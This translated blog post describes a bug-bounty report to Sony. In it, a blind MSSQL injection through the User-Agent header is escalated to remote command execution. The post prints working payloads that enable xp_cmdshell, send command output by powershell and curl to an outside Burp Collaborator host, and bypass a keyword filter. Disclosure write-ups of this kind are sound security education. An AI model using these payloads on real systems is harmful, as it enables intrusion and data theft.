Тема информационной безопасности и защиты данных крайне актуальна для любого бизнеса, независимо от его размеров и географии. В рамках нашего блога мы решили публиковать заметки зарубежных коллег, основанные на их реальном опыте по теме. Надеемся, что приведенный материал будет вам полезен.
Предисловие
В этой статье я расскажу о своём отчёте, отправленном компании Sony в рамках публичной программы на сайте HackerOne, а также о том, как я преобразовал Blind Time-based SQL Injection в полномасштабное удалённое выполнение команды ОС.
Я вырежу из статьи такие важные подробности, как домены, поддомены, результаты работы команд, мой IP-адрес, IP-адрес сервера и другие.
Этап разведки
Для этапа разведки я использовал
sublist3r
для поиска поддоменов нужного мне домена.Я проверил все поддомены, но ссылки оказались мёртвыми. Расстроившись, я попробовал другие инструменты разведки, например,
amass
. Как ни удивительно, результат оказался лучше.amass
нашёл для меня поддомены, которые нельзя увидеть в простых google-запросах. (Простите, но я не буду показывать скриншоты). Он выявил поддомен вида special.target.com
.Знакомимся ближе с Target
Перейдя на сайт, я увидел, что это что-то типа панели администратора или страницы для логина сотрудников.
Далее я попробовал классический символ
'
для проверки на sql-ошибки. Я ввёл username=123'&password=123'
.Проверил запросы
burpsuite
, и конечная точка вернула мне плодотворную страницу ошибки 500. Почему плодотворную? Разработчики забыли отключить режим отладки (или что-то типа того), и это позволило мне посмотреть запрос целиком с полным путём к файлам.Конечная точка уязвима к Microsoft SQL Injection.
Сам эксплойт
Я попробовал простые булевы SQL-инъекции с параметром
username
, но безуспешно. В ответ на любую полезную нагрузку я получал ошибки. Повторно изучив ошибку запроса, я осознал, что базе данных передаётся мой User-Agent Header. Я добавил к своему user-agent одну кавычку и комментарий ‘--
, и наконец получил обычную корректную страницу.User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36'--
Хороший признак того, что сервер выполняет вводимые пользователем команды. Затем я проверил возможность time-based SQL injection, чтобы узнать, можно ли помещать запросы в стек.
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36';WAITFOR DELAY ‘00:00:05’;--
Ответ был отложен примерно на 5 секунд.
Это подтверждает, что мы можем помещать SQL-запросы в стек и выполнять инъекции любых нужных нам команд.
Расширение SQL-инъекции до RCE
Так как теперь мы знаем, что можем помещать запросы в стек, нужно найти способ исполнять здесь команды ОС. В отличие от MySQL, в MSSQL есть способ исполнения команд. Я воспользовался информацией из статьи Прашанта Кумара.
Выяснилось, что можно исполнять команды ОС при помощи
xp_cmdshell
, поэтому я включил на сервере xp_cmdshell
.User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36'; EXEC sp_configure ‘show advanced options’, 1; RECONFIGURE; EXEC sp_configure ‘xp_cmdshell’, 1; RECONFIGURE;--
Затем я при помощи
ping
протестировал возможность слепого RCEUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36'; EXEC xp_cmdshell 'ping myburpcollablink.burpcollaborator.net';--
Отлично! Доступ к Burpsuite Collaborator Client был выполнен. Это подтверждает, что мы можем выполнять RCE.
В отличие от Прашанта Кумара, я не стал сохранять результаты выполнения команд в базу данных и создал неразрушительный способ считывания результатов выполнения команд ОС.
Я присвоил значение вывода переменной в
powershell
и отправлял их в свой BurpCollaborator при помощи curl
.Это работает так:
powershell -c “$x = whoami; curl http://my-burp-link.burpcollaborator.net/get?output=$x”
Команда получает результаты выполнения
whoami
и отправляет их по моей ссылке burpcollabГотовая полезная нагрузка RCE выглядит так:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36';EXEC xp_cmdshell ‘powershell -c “$x = whoami; curl http://my-burp-link.burpcollaborator.net/get?output=$x"';--
Результаты выполнения команды отправляются мне.
Также мне удалось извлечь информацию о метаданных инстансов AWS EC2, просмотреть серверные файлы и многое другое.
Обходим «исправление»
Спустя несколько дней Sony сообщила мне, что развернула патч. Я попробовал запустить свою старую полезную нагрузку, но её заблокировал файрвол. Я увидел, что компания поместила в фильтр ключевое слово
EXEC xp_cmdshell
.Я обошёл фильтр, объявив переменную
@x
со значением xp_cmdshell
и запустив команду вида EXEC @x
‘; DECLARE @x AS VARCHAR(100)=’xp_cmdshell’; EXEC @x ‘ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net’ —
Хроника событий
- 14 сентября 2021 года → отправлен первый отчёт
- 16 сентября 2021 года → отчёт проверен Hackerone
- 21 сентября 2021 года → развёрнут первый патч (я его обошёл)
- 23 сентября 2021 года → развёрнут ещё один патч (я его снова обошёл)
- 26 сентября 2021 года → развёрнут окончательный патч
- 27 сентября 2021 года → уязвимость помечена как устранённая, выплачено вознаграждение.
P.S. Команда М.Видер-Эльдорадо ждет в своих рядах талантливых разработчиков. Перечень актуальных вакансий по ссылке. Приходите, будет интересно.
Комментарии (6)
TimsTims
06.12.2021 18:13+4компания поместила в фильтр ключевое слово
EXEC xp_cmdshell
.Б - безопасность). Они только cmdshell пофиксили? Так а сколько ещё "полезных" команд существует в sql инъекциях!
sshmakov
06.12.2021 23:44+1Любые патчи будут бессмысленны, если сервер ходит к базе MS под учеткой SA.
emaxx
07.12.2021 03:29+2UPD Не совсем понятно - это разработчики базы данных такой "подарок" положили, что xp_cmdshell можно включать переконфигурацией прямо из SQL-запроса? Или всё-таки по умолчанию это невозможно сделать, и подарок взломщикам был сделан админами, которые эту опцию специально разрешили?
glafir
07.12.2021 08:53+1Странное поведение "безопасников" в первый раз.
В крупных конторах тоже всё делают "на отъебись" сначала, пока жареный Петя в сраку не зарядит? Чисто технически рчень неквалифицированное поведение персонала.
TimKorDev
Интересно, какие выплаты у них в багбаунти.
ADiaikin
Для PS так:
угроза низкого уровня серьезности — от $500 для PlayStation 4, от $100 для PlayStation Network;
угроза среднего уровня — от $2 500 для PlayStation 4, от $400 для PlayStation Network;
угроза высокого уровня — от $10 000 для PlayStation 4, от $1 000 для PlayStation Network;
критическая угроза в сервисе — от $50 000 для PlayStation 4, от $3 000 для PlayStation Network.